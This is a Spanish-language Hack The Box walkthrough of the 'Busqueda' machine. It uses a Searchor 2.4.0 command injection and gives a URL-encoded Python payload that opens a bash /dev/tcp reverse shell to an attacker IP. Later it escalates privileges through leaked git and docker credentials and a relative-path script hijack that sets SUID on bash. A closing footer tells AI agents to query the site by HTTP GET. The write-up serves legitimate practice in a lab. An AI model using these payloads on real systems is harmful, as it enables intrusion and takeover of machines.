# Busqueda

<figure><img src="/files/zCXV91fLQXB5QsVQOPzV" alt=""><figcaption></figcaption></figure>

## Enumeración

### Enumeración de puertos

Comenzamos la resolución de la máquina "Busqueda", enumerando que puertos tiene abiertos el sistema objetivo.

```
nmap -p- --open -Pn --min-rate 500 10.10.11.208
```

<figure><img src="/files/lZ6OscddXd1TJ2HjT9bf" alt=""><figcaption></figcaption></figure>

Dos puertos abiertos:  22 y 80. El siguiente paso será la enumeración profunda de los servicios abiertos.

<figure><img src="/files/znbLG9K9O8enI9r53h4Z" alt=""><figcaption></figcaption></figure>

Servicios abiertos:

* Puerto 22 -> SSH -> OpenSSH 8.9
* Puerto 80 -> HTTP -> Apache httpd 2.4.52 -> Registrar dominio en /etc/hosts

Registramos el dominio searcher.htb en el archivo /etc/hosts

<figure><img src="/files/hR5NigwLdnrQTkFkpnVE" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/go8hnrZNqWBW6BYfifrV" alt=""><figcaption></figcaption></figure>

### Enumeración Web

La máquina "Busqueda" está ejecutando un servidor Web en el puerto 80. Vamos a enumerar su contenido.&#x20;

<figure><img src="/files/KuShOksPlXkKghtrJIuc" alt=""><figcaption></figcaption></figure>

Parece un buscador Web.&#x20;

Otra cosa que encontramos enumerando el sitio Web, es una versión.

<figure><img src="/files/We7kym4Hj4W473Vm8MFi" alt=""><figcaption></figcaption></figure>

Vamos a realizar la enumeración de archivos y directorios existentes. Para ello, utilizaremos la herramienta "dirsearch"

```
dirsearch -u http://searcher.htb -i 200,301,401
```

<figure><img src="/files/USkIJwV0KF1UyjDIUPvM" alt=""><figcaption></figcaption></figure>

Pero parece que en el sitio Web no existen directorios.&#x20;

## Explotación método : Exploit público

Durante la enumeración del sitio Web, encontramos la versión del buscador que estaba siendo utilizada. Vamos a comprobar si es una versión vulnerable y si existen explois públicos.

Investigando en Google sobre la versión que tenemos, encontramos el siguiente [exploit](https://github.com/nikn0laty/Exploit-for-Searchor-2.4.0-Arbitrary-CMD-Injection). Vamos a descargarlo y ver su funcionamiento.&#x20;

<figure><img src="/files/5NFhEn2KMeEk9lHWJlaU" alt=""><figcaption></figcaption></figure>

Necesitamos un objetivo (searcher.htb), la IP de la máquina de ataque y un puerto de dicha máquina de ataque (Puerto 9001 por defecto). El funcionamiento se divide en dos parte, por un lado, ejecutamos el exploit descargado y por otro, debemos configurar un oyente nc, en nuestro casi en el puerto 9001 ppor defecto.&#x20;

<figure><img src="/files/YRuoLhyDy331Galzf4M0" alt=""><figcaption></figcaption></figure>

Y tendremos acceso desde nuestra máquina de ataque.&#x20;

<figure><img src="/files/2dr1XaZCz5QraoWSa0NQ" alt=""><figcaption></figcaption></figure>

## Método 2: Explotación manual

Vamos a tratar de explotar esta vulnerabilidad sin hacer uso del exploit. Para ello, vamos a analizar el código el exploit que hemos utilizado anteriormente y observamos como explota la vulnerabilidad. En esta sección, vamos a tratar de capturar y explotar esta vulnerabilidad utilizando Burp Suite.&#x20;

Capturamos la petición válida

<figure><img src="/files/RHatDgMtd1mPT4dHhJH9" alt=""><figcaption></figcaption></figure>

Ahora comprobamos como explota la vulnerabilidad&#x20;

<figure><img src="/files/Q7Of3r0qpFr6GnJ4t0PC" alt=""><figcaption></figcaption></figure>

Ya sabemos como se inyecta el payload, ahora vamos a tratar de confeccionar un payload que nos permita entablar la reverse shell.

Probamos el siguiente payload codificado en URL

```
engine=Google&query="'+%2b+__import__('os').popen('id').read()+%2b+'"
```

Obtenemos el siguiente resultado

<figure><img src="/files/vNWkVQz7GhPLlYmEw5WS" alt=""><figcaption></figcaption></figure>

Que si lo desciframos, vamos que nos devuelve que tenemos conexión como usuario "svc"

<figure><img src="/files/vB15jIG1YCRWUHkKg8Ry" alt=""><figcaption></figcaption></figure>

Bien, ya tenemos parte del trabajo hecho. Ahora seguimos contruyendo el payload para la reverse shell.

```
engine=Google&query="'+%2b+__import__('os').popen('bash+-c+"bash+-i+>%26+/dev/tcp/10.10.16.2/9001+0>%261"').read()+%2b+'
```

<figure><img src="/files/vU9GgDphcks5CIEiXbea" alt=""><figcaption></figcaption></figure>

Y, volvemos a obtener la conexión con la máquina objetivo. El siguiente paso será la búsqueda de la flag user.txt

<figure><img src="/files/sHwrGQZp8O4UbEiIkhys" alt=""><figcaption></figcaption></figure>

## Elevación de privilegios

Una vez que obtenemos conexión a la máquina objetivo y encontramos la flag user.txt, continuamos con la elevación de privilegios dentro del sistema. Comenzamos con una enumeración de directorios.

El primer directorio que enumeraremos es el directorio Web, donde encontramos una carpeta .git que puede ser interesante.&#x20;

<figure><img src="/files/rVbOTyhYFzWms2P82M3H" alt=""><figcaption></figcaption></figure>

Cambiamos al directorio del usuario "svc".

<figure><img src="/files/72sM8PopF1XHQqBwK0v1" alt=""><figcaption></figcaption></figure>

Donde también encontramos referencias hacia "git".

Comenzamos a inspeccionar ambos directorios.

<figure><img src="/files/QAaWRPyallpcliXxzvNA" alt=""><figcaption></figcaption></figure>

Dentro del directorio .git encontramos un archivo de configuración "config" donde encontramos unas credenciales. Y un subdominio del dominio con el que hemos estado trabajando. Vamos a añadirlo al archivo /etc/hosts.&#x20;

<figure><img src="/files/A4quFuZbyrmuNEUrHmmP" alt=""><figcaption></figcaption></figure>

Las credenciales son válidas.

<figure><img src="/files/bc6J87xdIGpFuuvGi1Nd" alt=""><figcaption></figcaption></figure>

Ahora, a inspeccionar la plataforma en busca de vectores de elevación de privilegios. Pero no encontramos nada interesante.&#x20;

Vamos a comenzar con las enumeraciones que nos permitirán conocer los vectores de elevación de privilegios. Comenzamos con sudo -l.&#x20;

<figure><img src="/files/grcq9UoLOLDdc2UTt4Jm" alt=""><figcaption></figcaption></figure>

Debemos convertir la interfaz en interactiva. Esto lo hacemos de la siguiente manera:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

Y, volvemos a ejecutar sudo -l

<figure><img src="/files/DvufOfIioW9LtN1vNjHC" alt=""><figcaption></figcaption></figure>

Utilizaremos la password que encontramos en el archivo config que encontramos en el directorio .git

<figure><img src="/files/QSDUSW0CPphm72XSGAqQ" alt=""><figcaption></figcaption></figure>

Vemos que podemos ejecutar un system checkup. Veamos que podemos hacer con él.&#x20;

<figure><img src="/files/Tc6BN2ow0AuMijyul099" alt=""><figcaption></figcaption></figure>

Podemos listar los docker del sistema.&#x20;

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-ps
```

<figure><img src="/files/41vJG2Bvel8Ce4RIYmKg" alt=""><figcaption></figcaption></figure>

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py docker-inspect
```

<figure><img src="/files/H1y56iRXjKkxB8DcqTCv" alt=""><figcaption></figcaption></figure>

Necesitamos un formato de búsqueda y el nombre del contenedor. Vamos a buscar como se generan estas búsquedas. Encontramos el siguiente [enlace](https://docs.docker.com/config/formatting/?source=post_page-----964fed1515a6--------------------------------) con información interesante.

<figure><img src="/files/HZDzrr0eLH8YHRarB9qP" alt=""><figcaption></figcaption></figure>

Sabiendo esto, vamos a tratar de dumpear toda la información existente.

```
sudo python3 /opt/scripts/system-checkup.py docker-inspect '{{json .}}' gitea | jq .
```

<figure><img src="/files/IFCbEym8WiQhxT1zuZmz" alt=""><figcaption></figcaption></figure>

Encontramos lo que parecen las credenciales de una base de datos MySQL, y la dirección IP del servidor donde se encuentra está base de datos.

<figure><img src="/files/t11sh8VR6HkZlg6ZmwA0" alt=""><figcaption></figcaption></figure>

Nos conectamos a la base de datos desde la máquina "Búsqueda" con el usuario "svc"

```
mysql -h 172.19.0.3 -u gitea -pyuiu1hoiu4i5ho1uh
```

Pero nos devuelve el siguiente error.

<figure><img src="/files/aUWAzVh9C8agL4Bqfis4" alt=""><figcaption></figcaption></figure>

Vamos a tratar de utilizar esta password para iniciar sesión en la plataforma Gitea como usuario "administrator". Las credenciales son válidas.&#x20;

En la plataforma, encontramos un repositorio con scripts. Veamos su contenido.&#x20;

Encontramos el script system-checkup.py

<figure><img src="/files/9xADaWvSLgRafrkLKBAv" alt=""><figcaption></figcaption></figure>

Que vemos que ejecuta full-checkup.sh en una ruta relativa. Vamos a crear el archivo en la máquina objetivo con el siguiente contenido.

```
#! /bin/bash
chmod +s /bin/bash
```

Damos permisos de ejecución

```
chmod +x full-checkup.sh
```

Y, ejecutamos de la siguiente forma:

```
sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
```

<figure><img src="/files/41JA8u3a1JyzSeaNibIK" alt=""><figcaption></figcaption></figure>

Posteriormente, ejecutamos.

```
bash -p
```

<figure><img src="/files/7uY9R8NgTsQNIc3oEvzX" alt=""><figcaption></figcaption></figure>

Y solo quedará buscar la flag root para finalizar la resolución del CTF Búsqueda.&#x20;

<figure><img src="/files/Qz4lGd1hjsTHfiDGFtkx" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://wiki.securiters.com/securiters-wiki/write-ups/hack-the-box/busqueda.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
